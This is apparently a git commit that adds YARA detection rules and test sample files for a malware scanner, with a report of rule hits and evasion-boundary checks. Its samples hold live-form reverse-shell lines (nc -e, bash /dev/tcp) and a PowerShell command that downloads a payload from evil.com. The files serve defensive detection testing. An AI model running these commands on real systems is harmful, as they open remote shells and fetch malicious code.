feat: YARA .yar 规则自动化生成 + 边界记录验证

rules/test_rules.yar (7 条规则):
  - Test_ReverseShell_Basic: nc 反弹 shell
  - Test_PowerShell_Download: Invoke-WebRequest
  - Newly_Added_Rule_Test: 热加载验证
  - Meta_Label_Test: metadata 输出验证
  - Regex_Shell_Pattern: powershell -enc 正则
  - Count_Condition_Test: count >= 3 条件
  - Size_Condition_Test: filesize <= 10KB 条件

YARA 命中验证: 7/7 ✅
  L4-001 → Test_ReverseShell_Basic + keywords.ReverseShellNetcat 复合命中
  L4-004 → Test_ReverseShell_Basic + Test_PowerShell_Download + 3 条关键词
  L4-005/007/010/011/012 → 全部命中 ✅

边界记录验证: 4/4 ✅ 全 clean
  L1-005 EICAR 1 字节修改 → ClamAV 不命中 ✅
  L1-012 EICAR base64 → ClamAV 不解码 ✅
  L3-007 高危串 base64 → 关键词不解码 ✅
  L3-019 unicode 同形字 → 关键词不还原 ✅

tests/samples/L4-001_001_sample.txt

@@ -1 +1,3 @@
-shellcode test here
+# 测试文件
+nc 10.0.0.5 4444 -e cmd.exe
+bash -i >& /dev/tcp/10.0.0.5/4444 0>&1

tests/samples/L4-004_multi_rule_match.txt

@@ -1,2 +1,3 @@
-test_rule_a_here
-test_rule_b_here
+# 同时命中两条规则
+nc 192.168.1.100 8888 -e /bin/sh
+Invoke-WebRequest -Uri http://evil.com/payload -OutFile evil.exe

tests/samples/L4-005_hotreload.txt

@@ -0,0 +1 @@
+meshsafe-hot-reload-test-string present here

tests/samples/L4-007_meta_rule.txt

@@ -0,0 +1 @@
+trojan-metadata-test payload here

tests/samples/L4-010_regex_pattern.txt

@@ -0,0 +1 @@
+powershell -enc ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwx+/==

tests/samples/L4-011_count_condition.txt

@@ -1 +1,5 @@
-yara match string placeholder
+malicious_token_count_test
+malicious_token_count_test
+malicious_token_count_test
+malicious_token_count_test
+malicious_token_count_test

tests/samples/L4-012_size_condition.txt

@@ -0,0 +1 @@
+size_condition_test_payload small file